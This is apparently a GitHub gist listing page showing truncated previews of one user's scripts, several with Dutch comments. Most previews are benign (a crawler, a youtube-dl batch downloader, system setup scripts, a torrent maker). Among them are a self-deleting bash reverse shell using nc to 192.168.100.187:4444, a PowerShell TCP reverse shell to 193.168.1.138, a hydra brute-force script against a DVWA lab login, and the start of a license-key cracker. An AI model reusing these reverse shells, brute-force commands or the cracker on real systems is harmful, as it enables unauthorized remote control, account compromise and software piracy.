This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# deze crawler pakt letterlijk alle linkjes en loopt daar over heen | |
# crached na een tijdje geen idee waarom | |
from bs4 import BeautifulSoup | |
from urllib.request import urlopen, Request | |
import re | |
from urllib.parse import urlparse | |
website = "https://paranormalthoughtspodcast.wordpress.com/" | |
crawl = [website] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
A="$0" | |
mkfifo pipe; nc -nv 192.168.100.187 4444 < pipe | /bin/sh 2>pipe >pipe & | |
disown $! | |
rm -f "$A" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$lhost="193.168.1.138"; | |
$lport=4444; | |
$MAXCMDLENGTH=65535; | |
$client = New-Object System.Net.Sockets.TCPClient($lhost, $lport); | |
$stream = $client.GetStream(); | |
$bytes = (New-Object byte[] $MAXCMDLENGTH); | |
$out = ([text.encoding]::ASCII).GetBytes("PS $($pwd.Path)> "); | |
$stream.Write($out, 0, $out.Length); | |
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { | |
$in = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
from multiprocessing import Pool | |
def download(link): | |
os.system("youtube-dl "+"\""+link+"\"") | |
def get_list(): | |
print("Enter/Paste your links") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
ip=localhost | |
koekje1=$(curl http://localhost/vulnerabilities/brute/ -s0 -I | grep "Set-Cookie" | sed -n '1!p' | sed 's/[^ ]* *//' | awk '{gsub("; path=/", "");print}' | grep security ) | |
koekje2=$(curl http://localhost/vulnerabilities/brute/ -s0 -I | grep "Set-Cookie" | sed -n '1!p' | sed 's/[^ ]* *//' | awk '{gsub("; path=/", "");print}' | grep PHPSESSID) | |
hydra $ip -l admin -P /home/philip/wordlist.txt http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: ${koekje1};{$koekje2}" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# This program is written for ubuntu 19.04 running on a Lenovo Thinkpad t490. | |
# Its mostly personalized settings and programs but also a few fixes: | |
# -HSP/A2DP bluetooth devices (please check if your bluetooth works before you run this part) | |
# -screen tearing and black lockscreen will probably work on on other devices with Intel UHD Graphics 620 | |
if [[ "$EUID" -ne 0 ]] | |
then echo "Please run as root" | |
exit |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# encoding: utf-8 | |
import sys | |
import hashlib | |
class CrackExQuilla(object): | |
def __init__(self, email, expired_date): | |
self.email = email | |
self.expired_date = expired_date |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Set-ExecutionPolicy Bypass -Scope Process -Force; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) | |
C:\ProgramData\chocolatey\bin\choco.exe install openssh | |
mkdir C:\ProgramData\ssh | |
cp 'C:\Program Files\OpenSSH-Win64\sshd_config_default' C:\ProgramData\ssh\sshd_config | |
cd "C:\Program Files" | |
.\OpenSSH-Win64\ssh-keygen.exe -f C:\ProgramData\ssh\ssh_host_dsa_key -t dsa | |
.\OpenSSH-Win64\ssh-keygen.exe -f C:\ProgramData\ssh\ssh_host_rsa_key -N '' -t rsa | |
New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22 | |
.\OpenSSH-Win64\sshd -D |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pathlib import Path | |
from os import listdir | |
from torf import Torrent | |
trackers = [ | |
"udp://tracker.coppersurfer.tk:6969/announce", | |
"udp://tracker.leechers-paradise.org:6969/announce", | |
"udp://tracker.opentrackr.org:1337/announce", | |
"udp://tracker.internetwarriors.net:1337/announce", |
OlderNewer